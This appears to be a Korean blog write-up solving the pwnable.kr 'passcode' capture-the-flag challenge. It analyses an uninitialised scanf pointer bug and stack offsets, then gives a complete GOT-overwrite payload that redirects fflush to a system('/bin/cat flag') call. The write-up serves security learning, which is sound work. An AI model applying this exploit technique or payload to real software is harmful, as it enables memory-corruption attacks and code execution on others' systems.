[pwnable.kr] passcode
★ 문제 분석
- welcome()
name 배열이 100byte 선언되어 있다.
scanf("%100s", name);
: &이 빠져있음
- login()
scanf()로 passcode1를 입력받음.
fflush(stdin);
// 32bit는 bruteforcing에 취약하다.
scanf()로 passcode2를 입력받음
: &이 빠져있음
passcode1이 338150, passcode2가 13371337이어야 flag를 딸 수 있다.
☆ fflush(stdin)
데이터 입력 후 Enter를 치는 순간 입력 버퍼에 저장된다.
개행문자도 함께 입력 버퍼에 저장되는데, 출력할 때는 출력되지 않고 입력 버퍼에 남아있게 된다.
이를 처리하기 위해서 쓰는 것이 fflush(stdin)이다.
welcome+38> ebp-0x70 = name
0x70 = 112(dec)
stack에 40byte 공간 할당됨.
login+24> ebp-0x10 = passcode1
login+70> ebp-0xc = passcode2
passcode1와 name의 차이
: [ebp-0x70] - [ebp-0x10] = -0x60 (96byte) 차이
passcode1 입력 다음, fflush(stdin)이 있기 때문에 이 부분에서 system() 함수를 변조해주자.
☆ 결론
"\x90"*96 + scanf("%d", passcode1) >> fflush() got 주소 + system() 시작 주소로 got 주소 값 덮어쓰기
passcode1 값 변조 이후, fflush()의 got 주소의 값을 system("/bin/cat flag") 시작 부분으로 바꾸자.
- fflush() got 주소
login+47> fflush@plt 주소 = 0x8048430
>> fflush() got 주소 = 0x804a004
- system() 시작 주소
login+127: 0x080485e3
scanf()에서 10진 정수로 받기 때문에 바꿔주기
--> 134514147
>> "\x90"*96+"\x04\xa0\x04\x08"+"134514147"
(GOT Overwrite 다시 정리하기)
'write-up > pwnable' 카테고리의 다른 글
[pwnable.kr] input (0) | 2019.09.29 |
---|---|
[pwnable.kr] random (0) | 2019.09.29 |
[pwnable.kr] bof (0) | 2019.09.28 |
[pwnable.kr] collision (0) | 2019.09.26 |
[pwnable.kr] fd (0) | 2019.09.23 |
댓글